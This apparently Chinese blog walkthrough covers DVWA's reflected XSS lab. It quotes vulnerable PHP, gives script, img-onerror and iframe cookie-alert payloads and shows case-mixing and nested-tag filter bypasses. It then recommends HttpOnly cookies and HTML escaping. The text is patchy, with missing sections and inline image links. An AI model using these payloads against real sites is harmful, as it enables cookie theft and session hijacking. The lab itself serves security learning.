反射型 XSS 是指應用程式直接将攻擊者送出的具有惡意代碼的資料回傳浏覽器,因 html 注入導緻頁面被植入惡意代碼進而被攻擊者控制浏覽器
Low
1、檢視伺服器端源代碼
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
2、檢視用戶端源代碼
Vulnerability: Reflected Cross Site Scripting (XSS)
<div class="vulnerable_code_area">
<form name="XSS" action="#" method="GET">
<p>
What's your name?
<input type="text" name="name">
<input type="submit" value="Submit">
</p>
</form>
<pre>Hello kk</pre>
</div>
**值得注意的是,#将構造的payload注釋掉了**
**應用程式直接将送出資料輸出到 html 頁面,未對送出資料做任何過濾檢查和轉義操作,可直接使用送出資料包含 xss payload 進行攻擊**
3、構造payload
http://localhost/dvwa-master/vulnerabilities/xss_r/?name=kk<script>alert(1)</script>
利用hackbar
或者直接在文本框中輸入攻擊語句
顯示cookie資料
![在這裡插入圖檔描述](https://img-blog.csdnimg.cn/2020013113372318.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDg2NjEzOQ==,size_16,color_FFFFFF,t_70) 重定向 ![在這裡插入圖檔描述](https://img-blog.csdnimg.cn/20200131141635547.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDg2NjEzOQ==,size_16,color_FFFFFF,t_70) ![在這裡插入圖檔描述](https://img-blog.csdnimg.cn/2020013114210612.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDg2NjEzOQ==,size_16,color_FFFFFF,t_70) **2、檢視用戶端源代碼** ![在這裡插入圖檔描述](https://img-blog.csdnimg.cn/20200131142334630.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDg2NjEzOQ==,size_16,color_FFFFFF,t_70) **3、構造payload** 說明: 應用程式直接将送出資料中的
<img src="" onerror="alert(/xss/)"/>
<iframe src="" onload="alert(document.cookie)"></iframe>
依然适用
還可以利用大小寫變換
<Script>alert(/xss/)</sCRipt>
二次變化
<sc<script>ript>alert(/xss/)</script>
High
1、檢視伺服器端代碼
直接輸入
2、構造payload
說明:
應用程式直接将送出資料中的<script 字元串進行過濾後輸出到 html 頁面,但可以通過iframe、img 等标簽進行繞過,進而成功利用漏洞
Impassible
修複建議:
a) 禁用 js 讀取 cookie(設定 cookie 為 httponly)
b) 在頁面輸出資料時對<、>、&、 '、"、/等字元進行 html 實體轉義
c) 對輸入資料中<、>、&、 '、"進行嚴格檢查
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible級别的代碼使用htmlspecialchars函數把預定義的字元&、”、 ’、<、>轉換為HTML實體,防止浏覽器将其作為HTML元素
tocken